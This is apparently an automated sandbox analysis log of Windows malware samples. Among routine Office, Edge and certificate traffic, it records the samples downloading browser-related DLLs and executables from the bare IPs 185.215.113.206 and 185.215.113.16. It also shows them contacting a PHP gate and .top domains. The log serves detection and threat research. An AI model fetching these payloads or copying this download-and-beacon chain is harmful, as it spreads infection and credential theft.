Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XY33fgKV3AaPfLb&MD=S5gemAFW HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ProductCategoriesSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /iNfkLAsWrCuVUxMyJkfW1731561474 HTTP/1.1Host: home.fvtejs5sr.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 15 Nov 2024 15:05:27 GMTIf-None-Match: "67376337-1bd000"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: home.fvtejs5sr.top
Source: global traffic	DNS traffic detected: DNS query: frogmen-smell.sbs
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: fvtejs5sr.top

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 912sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: 397a6a3fac.exe, 0000001E.00000003.3211715458.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 397a6a3fac.exe, 0000001E.00000003.3211715458.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/o
Source: 397a6a3fac.exe, 00000019.00000003.3098402358.0000000000C62000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000002.3189065235.0000000000C62000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000002.3188207167.000000000071A000.00000004.00000010.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3234187777.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3212374258.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3291306185.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000002.3315728799.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 397a6a3fac.exe, 0000001E.00000002.3313039519.00000000007AA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exex
Source: 397a6a3fac.exe, 00000019.00000003.3098402358.0000000000C62000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000002.3189065235.0000000000C62000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3234187777.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3212374258.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3211715458.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3291306185.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000002.3315728799.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: 397a6a3fac.exe, 0000001E.00000003.3234187777.0000000000CAF000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3212374258.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3291306185.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000002.3315728799.0000000000CAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeh
Source: 397a6a3fac.exe, 0000001E.00000003.3231774310.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3210067993.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exerosoft
Source: file.exe, 00000000.00000002.2449094003.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 0000001B.00000002.2927755728.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 0000001B.00000002.2927755728.000000000156E000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 0000001B.00000002.2927755728.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 0000001B.00000002.2927755728.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp, 829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllZ
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllM
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll2
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2449094003.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: 829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/?
Source: 829de9457d.exe, 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/K
Source: 829de9457d.exe, 0000001B.00000002.2927755728.00000000015C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/SIp&
Source: 829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/T
Source: 829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/3~
Source: 829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/Ry
Source: 829de9457d.exe, 0000001B.00000002.2927755728.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: 829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG9
Source: file.exe, 00000000.00000002.2470628363.00000000236D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJ
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpK9
Source: 829de9457d.exe, 00000020.00000002.3087259730.00000000015F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: 829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpQ
Source: file.exe, 00000000.00000002.2447069810.0000000000587000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2470628363.00000000236D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpr
Source: 829de9457d.exe, 0000001B.00000002.2927755728.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 829de9457d.exe, 0000001B.00000002.2927755728.000000000156E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206J6
Source: 829de9457d.exe, 00000020.00000002.3087259730.000000000159B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206SQ
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
